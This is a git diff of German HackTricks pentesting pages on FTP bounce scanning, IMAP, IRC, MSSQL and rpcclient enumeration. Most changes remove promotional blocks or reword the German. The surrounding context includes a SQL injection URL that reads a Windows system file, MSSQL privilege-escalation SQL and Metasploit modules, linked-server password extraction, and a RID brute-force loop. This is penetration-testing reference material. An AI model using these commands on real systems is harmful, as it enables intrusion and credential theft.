Beispiel mit **PORT** (Port 8080 von 172.32.80.80 ist offen und Port 7777 ist geschlossen):
|
||||
|
||||
|
@ -53,23 +45,17 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus zuzugreifen**, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät eines Benutzers gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät.
|
||||
|
@ -157,12 +149,6 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
IRC, ursprünglich ein **Textprotokoll**, wurde von IANA **194/TCP** zugewiesen, wird jedoch häufig auf **6667/TCP** und ähnlichen Ports betrieben, um keine **Root-Rechte** für den Betrieb zu benötigen.
|
||||
|
||||
Ein **Nickname** ist alles, was benötigt wird, um sich mit einem Server zu verbinden. Nach der Verbindung führt der Server eine Reverse-DNS-Abfrage zur IP des Benutzers durch.
|
||||
Ein **Nickname** ist alles, was benötigt wird, um sich mit einem Server zu verbinden. Nach der Verbindung führt der Server eine Reverse-DNS-Abfrage auf die IP des Benutzers durch.
|
||||
|
||||
Benutzer werden in **Operatoren** unterteilt, die einen **Benutzernamen** und ein **Passwort** für mehr Zugriff benötigen, und reguläre **Benutzer**. Operatoren haben unterschiedliche Privilegien, wobei Administratoren an der Spitze stehen.
|
||||
|
||||
|
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
|||
|
||||
* `looking up your hostname`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **stealer malwares** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
@ -35,9 +27,9 @@ Von [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
```
|
||||
### **Standard-MS-SQL-Systemtabellen**
|
||||
|
||||
* **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL-Server-Instanz erfasst.
|
||||
* **master-Datenbank**: Diese Datenbank ist entscheidend, da sie alle systembezogenen Details für eine SQL Server-Instanz erfasst.
|
||||
* **msdb-Datenbank**: Der SQL Server-Agent nutzt diese Datenbank zur Verwaltung der Planung von Warnungen und Jobs.
|
||||
* **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL-Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden.
|
||||
* **model-Datenbank**: Dient als Vorlage für jede neue Datenbank auf der SQL Server-Instanz, wobei Änderungen wie Größe, Sortierung, Wiederherstellungsmodell und mehr in neu erstellten Datenbanken widergespiegelt werden.
|
||||
* **Resource-Datenbank**: Eine schreibgeschützte Datenbank, die Systemobjekte enthält, die mit SQL Server geliefert werden. Diese Objekte, obwohl physisch in der Resource-Datenbank gespeichert, werden logisch im sys-Schema jeder Datenbank präsentiert.
|
||||
* **tempdb-Datenbank**: Dient als temporärer Speicherbereich für flüchtige Objekte oder Zwischenresultate.
|
||||
|
||||
|
@ -51,7 +43,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
|||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Wenn Sie **keine** **Anmeldeinformationen** haben, können Sie versuchen, sie zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind.
|
||||
Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie sich mehrmals mit einem vorhandenen Benutzernamen anmelden und fehlschlagen.
|
||||
{% endhint %}
|
||||
|
||||
#### Metasploit (Benutzeranmeldeinformationen erforderlich)
|
||||
|
@ -297,7 +289,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
|||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Dateien lesen und Skripte ausführen (Python und R)**
|
||||
### **RCE/Dateien lesen, Skripte ausführen (Python und R)**
|
||||
|
||||
MSSQL könnte es Ihnen ermöglichen, **Skripte in Python und/oder R** auszuführen. Dieser Code wird von einem **anderen Benutzer** ausgeführt als dem, der **xp\_cmdshell** verwendet, um Befehle auszuführen.
|
||||
|
||||
|
@ -354,7 +346,7 @@ Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Fun
|
|||
|
||||
### Andere Möglichkeiten für RCE
|
||||
|
||||
Es gibt andere Methoden, um die Befehlsausführung zu erhalten, wie das Hinzufügen von [erweiterten gespeicherten Prozeduren](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR-Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [externe Skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
Es gibt andere Methoden, um die Ausführung von Befehlen zu erhalten, wie das Hinzufügen von [erweiterten gespeicherten Prozeduren](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR-Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [externe Skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||
|
||||
## MSSQL Privilegieneskalation
|
||||
|
||||
|
@ -394,7 +386,7 @@ EXEC sp_elevate_me
|
|||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
Du kannst ein **metasploit** Modul verwenden:
|
||||
Sie können ein **metasploit** Modul verwenden:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
|
@ -440,7 +432,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
Sie können diesen Angriff mit einem **metasploit** Modul durchführen:
|
||||
Sie können diesen Angriff mit einem **metasploit**-Modul durchführen:
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
|
@ -456,7 +448,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Extrahieren von Passwörtern aus SQL Server Linked Servers
|
||||
|
||||
Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und sie im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um eine größere Kontrolle über das Ziel zu erlangen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords).
|
||||
Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um einen größeren Fuß in das Ziel zu bekommen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords).
|
||||
|
||||
Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten.
|
||||
|
||||
|
@ -475,7 +467,7 @@ Für weitere Informationen siehe die folgenden Links zu diesem Angriff: [Entschl
|
|||
## Lokale Privilegieneskalation
|
||||
|
||||
Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\
|
||||
Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen:
|
||||
Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie einer dieser 2 Seiten folgen:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -497,15 +489,9 @@ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**,
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
|
|
|
@ -15,13 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
|
@ -101,14 +94,9 @@ Von [https://academy.hackthebox.com/module/112/section/1073](https://academy.hac
|
|||
| `auth_debug` | Aktiviert alle Authentifizierungs-Debug-Protokollierungen. |
|
||||
| `auth_debug_passwords` | Diese Einstellung passt die Protokollierungs-Verbosity an, die übermittelten Passwörter und das Schema werden protokolliert. |
|
||||
| `auth_verbose` | Protokolliert erfolglose Authentifizierungsversuche und deren Gründe. |
|
||||
| `auth_verbose_passwords` | Passwörter, die zur Authentifizierung verwendet werden, werden protokolliert und können ebenfalls gekürzt werden. |
|
||||
| `auth_verbose_passwords` | Passwörter, die für die Authentifizierung verwendet werden, werden protokolliert und können ebenfalls gekürzt werden. |
|
||||
| `auth_anonymous_username` | Dies gibt den Benutzernamen an, der beim Anmelden mit dem ANONYMOUS SASL-Mechanismus verwendet werden soll. |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
|
|
|
@ -1,5 +1,101 @@
|
|||
# rpcclient enumeration
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Übersicht über Relative Identifiers (RID) und Security Identifiers (SID)
|
||||
|
||||
**Relative Identifiers (RID)** und **Security Identifiers (SID)** sind Schlüsselkomponenten in Windows-Betriebssystemen zur eindeutigen Identifizierung und Verwaltung von Objekten, wie Benutzern und Gruppen, innerhalb einer Netzwerkdomäne.
|
||||
|
||||
- **SIDs** dienen als eindeutige Identifikatoren für Domänen und stellen sicher, dass jede Domäne unterscheidbar ist.
|
||||
- **RIDs** werden an SIDs angehängt, um eindeutige Identifikatoren für Objekte innerhalb dieser Domänen zu erstellen. Diese Kombination ermöglicht eine präzise Verfolgung und Verwaltung von Objektberechtigungen und Zugriffskontrollen.
|
||||
|
||||
Zum Beispiel könnte ein Benutzer namens `pepe` einen eindeutigen Identifikator haben, der die SID der Domäne mit seinem spezifischen RID kombiniert, dargestellt in sowohl hexadezimaler (`0x457`) als auch dezimaler (`1111`) Form. Dies ergibt einen vollständigen und einzigartigen Identifikator für pepe innerhalb der Domäne wie: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumeration mit rpcclient**
|
||||
|
||||
Das **`rpcclient`**-Dienstprogramm von Samba wird verwendet, um mit **RPC-Endpunkten über benannte Pipes** zu interagieren. Nach der **Herstellung einer SMB-Sitzung**, die oft Anmeldeinformationen erfordert, können die folgenden Befehle an die SAMR-, LSARPC- und LSARPC-DS-Schnittstellen ausgegeben werden.
|
||||
|
||||
#### Serverinformationen
|
||||
|
||||
* Um **Serverinformationen** zu erhalten: wird der Befehl `srvinfo` verwendet.
|
||||
|
||||
#### Auflistung von Benutzern
|
||||
|
||||
* **Benutzer können aufgelistet werden** mit: `querydispinfo` und `enumdomusers`.
|
||||
* **Details eines Benutzers** durch: `queryuser <0xrid>`.
|
||||
* **Gruppen eines Benutzers** mit: `queryusergroups <0xrid>`.
|
||||
* **Die SID eines Benutzers wird abgerufen** durch: `lookupnames <username>`.
|
||||
* **Aliases von Benutzern** durch: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Enumeration of Groups
|
||||
|
||||
* **Gruppen** mit: `enumdomgroups`.
|
||||
* **Details einer Gruppe** mit: `querygroup <0xrid>`.
|
||||
* **Mitglieder einer Gruppe** durch: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Enumeration of Alias Groups
|
||||
|
||||
* **Aliasgruppen** mit: `enumalsgroups <builtin|domain>`.
|
||||
* **Mitglieder einer Aliasgruppe** mit: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Enumeration of Domains
|
||||
|
||||
* **Domänen** mit: `enumdomains`.
|
||||
* **Die SID einer Domäne wird abgerufen** durch: `lsaquery`.
|
||||
* **Domäneninformationen werden erhalten** durch: `querydominfo`.
|
||||
|
||||
#### Enumeration of Shares
|
||||
|
||||
* **Alle verfügbaren Freigaben** mit: `netshareenumall`.
|
||||
* **Informationen über eine spezifische Freigabe werden abgerufen** mit: `netsharegetinfo <share>`.
|
||||
|
||||
#### Additional Operations with SIDs
|
||||
|
||||
* **SIDs nach Namen** mit: `lookupnames <username>`.
|
||||
* **Weitere SIDs** durch: `lsaenumsid`.
|
||||
* **RID-Zyklus zur Überprüfung weiterer SIDs** wird durchgeführt mit: `lookupsids <sid>`.
|
||||
|
||||
#### **Extra commands**
|
||||
|
||||
| **Befehl** | **Schnittstelle** | **Beschreibung** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Benutzerinformationen abrufen |
|
||||
| querygroup | Gruppeninformationen abrufen | |
|
||||
| querydominfo | Domäneninformationen abrufen | |
|
||||
| enumdomusers | Domänenbenutzer auflisten | |
|
||||
| enumdomgroups | Domänengruppen auflisten | |
|
||||
| createdomuser | Einen Domänenbenutzer erstellen | |
|
||||
| deletedomuser | Einen Domänenbenutzer löschen | |
|
||||
| lookupnames | LSARPC | Benutzernamen zu SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) Werten nachschlagen |
|
||||
| lookupsids | SIDs zu Benutzernamen nachschlagen (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) Zyklus) | |
|
||||
| lsaaddacctrights | Rechte zu einem Benutzerkonto hinzufügen | |
|
||||
| lsaremoveacctrights | Rechte von einem Benutzerkonto entfernen | |
|
||||
| dsroledominfo | LSARPC-DS | Primäre Domäneninformationen abrufen |
|
||||
| dsenumdomtrusts | Vertrauenswürdige Domänen innerhalb eines AD-Waldes auflisten | |
|
||||
|
||||
Um **besser zu verstehen**, wie die Tools _**samrdump**_ **und** _**rpcdump**_ funktionieren, sollten Sie [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lesen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -14,113 +110,3 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Übersicht über Relative Identifiers (RID) und Security Identifiers (SID)
|
||||
|
||||
**Relative Identifiers (RID)** und **Security Identifiers (SID)** sind Schlüsselkomponenten in Windows-Betriebssystemen zur eindeutigen Identifizierung und Verwaltung von Objekten, wie Benutzern und Gruppen, innerhalb einer Netzwerkdomäne.
|
||||
|
||||
- **SIDs** dienen als eindeutige Identifikatoren für Domänen und stellen sicher, dass jede Domäne unterscheidbar ist.
|
||||
- **RIDs** werden an SIDs angehängt, um eindeutige Identifikatoren für Objekte innerhalb dieser Domänen zu erstellen. Diese Kombination ermöglicht eine präzise Verfolgung und Verwaltung von Objektberechtigungen und Zugriffskontrollen.
|
||||
|
||||
Zum Beispiel könnte ein Benutzer namens `pepe` einen eindeutigen Identifikator haben, der die SID der Domäne mit seiner spezifischen RID kombiniert, dargestellt in sowohl hexadezimaler (`0x457`) als auch dezimaler (`1111`) Form. Dies ergibt einen vollständigen und einzigartigen Identifikator für pepe innerhalb der Domäne wie: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Enumeration mit rpcclient**
|
||||
|
||||
